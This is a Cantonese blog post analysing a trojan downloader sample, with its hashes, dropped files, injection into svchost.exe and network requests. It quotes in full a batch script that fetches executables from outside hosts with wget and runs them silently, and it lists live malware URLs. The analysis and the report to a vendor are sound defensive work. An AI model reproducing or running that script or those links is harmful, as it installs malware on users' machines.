Blog好耐冇寫, 但今日又冇野寫.... 所以將平時處理病毒D report post 上黎. 今日新鮮出爐.
警句; 以下內容提供了包含惡意軟件的連結, 按下連結後果自負
樣本檔案名稱: cftmon.exe
Kaspersky 2011 Database 13/10/2010 18:39:00, 特徵碼未有偵測, 但啟發式報HEUR:Trojan-Downloader.Win32.Generic
VT Report: http://www.virustotal.com/file-scan/report.html?id=c03b7482df3100adfd2a1011ca85abe6f28cab75c0fa5af776b580a7ac3dd8a2-1286978475
| Size |
1133468 |
| MD5 |
afa3cc333c8dc7291f75bb90a804bf86 |
| SHA1 |
7da4252e0a2fb502cae8fd25a2ae52bae7d5fdb4 |
| SHA256 |
c03b7482df3100adfd2a1011ca85abe6f28cab75c0fa5af776b580a7ac3dd8a2 |
佢會將自己解壓
| Name |
Last Write Time |
Creation Time |
Last Access Time |
Attr |
| C:\Users\Henry\AppData\Local\Temp\down |
2009.01.12 14:48:01.625 |
2009.01.12 14:48:00.031 |
2009.01.12 14:48:01.625 |
0x10 |
佢會創造以下檔案
| 名稱 |
大小 |
最後寫入時間 |
建立時間 |
最後通過時間 |
Attr |
| C:\Users\Henry\AppData\Local\Temp\down\libeay32.dll |
1036288 |
2008.05.07 12:37:40.000 |
2008.05.07 12:37:40.000 |
2009.01.12 14:48:00.140 |
0x20 |
| C:\Users\Henry\AppData\Local\Temp\down\msvcr71.dll |
348160 |
2006.07.11 10:35:38.000 |
2006.07.11 10:35:38.000 |
2009.01.12 14:48:00.609 |
0x20 |
| C:\Users\Henry\AppData\Local\Temp\down\msvcr80.dll |
626688 |
2005.09.22 15:05:58.000 |
2005.09.22 15:05:58.000 |
2009.01.12 14:48:00.718 |
0x20 |
| C:\Users\Henry\AppData\Local\Temp\down\ssleay32.dll |
196608 |
2008.05.07 12:37:40.000 |
2008.05.07 12:37:40.000 |
2009.01.12 14:48:00.906 |
0x20 |
| C:\Users\Henry\AppData\Local\Temp\down\wget.exe |
319488 |
2008.06.30 03:16:20.000 |
2008.06.30 03:16:20.000 |
2009.01.12 14:48:01.093 |
0x20 |
佢會寫入svchost.exe
| PId |
Process Name |
TId |
Start |
Start Mem |
Win32 Start |
Win32 Start Mem |
| 0x344 |
svchost.exe |
0x170 |
0x7c810856 |
MEM_IMAGE |
0x7c910760 |
MEM_IMAGE |
| 0x43c |
svchost.exe |
0x7cc |
0x7c810856 |
MEM_IMAGE |
0x77df9981 |
MEM_IMAGE |
以及向DNS及HTTP請求
| DNS Query Text |
| xg4.iydy.cn IN A |
| HTTP Query Text |
| xg4.iydy.cn GET /id.bat HTTP/1.0 |
根劇以上既資料, 已經可初步確定依集樣本係Trojan Downloader. 因佢會向xg4.iydy.cn請求檔案....
再深入分析依個樣本向http://xg4.iydy.cn請求既檔案, 佢向http://xg4.iydy.cn請求一個id.bat既檔案, 位置為http://xg4.iydy.cn/id.bat
分析id.bat既原始碼, 以下
@echo off
wget -t 0 -c --output-document=FunshionInstall_C48007.exe "http://neirong.funshion.com/software/download.php?id=48007&f=FunshionInstall2.1.0.26Beta.exe"
start /wait FunshionInstall_C48007.exe /S
wget -t 0 -c --output-document=yibo_heima8_113763.exe "http://ybdown.processinfo.com.cn:55/yb/yibo_heima8_113763.exe"
start /wait yibo_heima8_113763.exe /S
wget --directory-prefix=sina -t 0 -c http://www.iydy.cn/sina.asp
for %%i in (sina\*.exe) do start /wait %%i /S
exit
佢再向http://neirong.funshion.com/software/download.php?id=48007&f=FunshionInstall2.1.0.26Beta.exe, http://ybdown.processinfo.com.cn:55/yb/yibo_heima8_113763.exe, http://www.iydy.cn/sina.asp請求下載檔案. 以及自動執行檔案, 以下原始碼 [start /wait FunshionInstall_C48007.exe /S] , [start /wait yibo_heima8_113763.exe /S]和[for %%i in (sina\*.exe) do start /wait %%i /S]令檔案在寧靜模式下執行.
已經可以確定係Trojan Downloader
已回報Kaspersky Lab, Ref. number: [KLAN-87886709], Kaspersky Lab確定為Trojan-Downloader.Win32.NSIS.fi, 證明我自己手工分析沒錯--Trojan Downloader.
| 
